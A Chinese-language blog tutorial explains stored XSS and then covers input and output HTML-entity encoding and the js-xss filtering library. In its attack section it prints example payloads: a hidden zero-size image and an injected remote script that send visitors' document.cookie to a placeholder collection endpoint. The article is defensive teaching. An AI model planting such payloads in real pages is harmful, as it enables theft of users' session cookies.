淺析xss攻擊原理、模擬xss攻擊及防止xss攻擊的方法

　　今天訪問網站一篇文章，彈出一個alert()，我就意識到網站被人拿來測試XSS攻擊了。

一、XSS攻擊原理

　　XSS到底是如何攻擊、我們又應該如何防范的呢？

　　XSS攻擊主要是針對表單的input文本框發起的，比如有一個文本框輸入：

<script>alert("xss");</script>
<img src="0" onerror="alert(11)" />

　　這樣一段JS代碼，如果前端不進行過濾直接提交到后端，而后端也沒有進行過濾直接入庫，那么展示頁面，就會發生這樣的情況：彈出xss、彈出11。因為在頁面展示的時候，會將后端返回的內容作為富文本解析，導致js代碼執行。

　　如果是獲取document.cookie這樣的敏感信息，就會存在很大的安全隱患。

　　比如我們寫一篇文章，然后在文章里放一個隱藏的圖片，去請求我們事先寫好的接口，然后將訪問這篇文章的用戶的信息存到我們的庫里，然后進行分析獲利。比如這樣：

<img :src = "'https://...../xss/test/saveCookie?val=' + encodeURIComponent(document.cookie)" width="0" height="0" />

　　也可以在文章里隱式的注入一段腳本，存入到庫里，那么只要有人訪問這篇文章就都會執行這個腳本，從中獲取到訪問者的信息

...文章內容 <script src="http://......com/xss/xsstest.js"></script> ...文章內容

　　這段腳本呢，我們可以簡單這樣寫：

var img = document.createElement('img') img.width = 0 img.height = 0 img.src = 'https://...../xss/test/saveCookie?val=' + encodeURIComponent(document.cookie)

　　其原理就是利用圖片的src跨域屬性，直接把cookie的值，傳送到我的后端代碼里面。將圖片的寬高設置為0，用戶是不會看到這個圖片的，因此這段js一旦注入生效，所有訪問該文章的用戶都會觸發這個js，從而將自己的cookie源源不斷的輸送到我的庫中。

二、防范

　　原理有了一定的了解之后，接下來就是如何防范了。問題的源頭在於js代碼的注入，我們可以想個辦法，不讓js生效不就行了？需要注意兩頭的防范：

1、輸入。

　　在提交表單時，前端最好將文本內容轉為html實體編碼，也就是過濾掉<script>、<a>、這樣的內容，然后再提交到后台去。當然保險起見，后台也要再做一遍html實體轉碼，然后再入庫。

　　這個輸入層面最好的后端統一做，加個過濾器去做統一處理。

2、輸出。

　　在顯示文本內容時，最好也要做一次html實體編碼轉換后再顯示，防止<script>標簽生效。

　　因為防患xss攻擊替換標簽等要考慮的場景比較多，特別容易遺漏，所以找一些成熟好用的插件是一個很好的選擇。這里給大家介紹一種簡單的處理辦法：js-xss插件

1、npm引入方式：npm install xss --save

// 在 Node.js 中使用
var xss = require("xss"); var html = xss('<script>alert("xss");</script>'); console.log(html);

2、cdn引入js文件

// 1、引入cdn文件
https://cdn.bootcdn.net/ajax/libs/js-xss/0.3.3/xss.min.js // 2、使用
this.issueInfo.description = filterXSS(this.issueInfo.description)

　　可以看到我們存入的值是：

description: '<p>以夢為馬:</p>\n&lt;script&gt;alert("xss");&lt;/script&gt;\n<p>以夢為馬:<br />\n<img src /></p>\n',